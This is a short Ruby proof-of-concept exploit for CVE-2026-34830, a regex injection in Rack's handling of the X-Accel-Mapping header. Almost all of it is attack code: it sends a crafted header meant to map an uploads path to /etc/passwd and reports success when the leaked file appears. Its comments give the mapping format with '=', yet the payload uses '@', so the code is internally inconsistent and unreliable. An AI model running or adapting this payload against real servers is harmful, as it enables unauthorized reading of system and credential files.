CVE-2026-34830 Rack正则注入致文件泄露

# Ruby PoC Concept for CVE-2026-34830 # This script sends a crafted X-Accel-Mapping header to exploit the regex injection. require 'net/http' # Vulnerable endpoint example uri = URI('http://localhost:3000/public/uploads/sensitive_file.txt') # Create the request request = Net::HTTP::Get.new(uri) # Inject regex metacharacters into the X-Accel-Mapping header. # The format expected by Rack is usually "/path/on/disk=/path/in/url". # By injecting regex, we can trick the mapping logic. # Example: Mapping a broad range of paths to a sensitive internal location. # Note: The exact payload depends on the Nginx configuration. request['X-Accel-Mapping'] = '^/var/www/uploads/.*@/etc/passwd' # Send the request response = Net::HTTP.start(uri.hostname, uri.port) do |http| http.request(request) end # Check if the server responded with the file content via X-Accel-Redirect if response.code == '200' && response.body.include?('root:') puts '[+] Exploit successful! Sensitive file content leaked.' puts response.body else puts '[-] Exploit failed or target not vulnerable.' end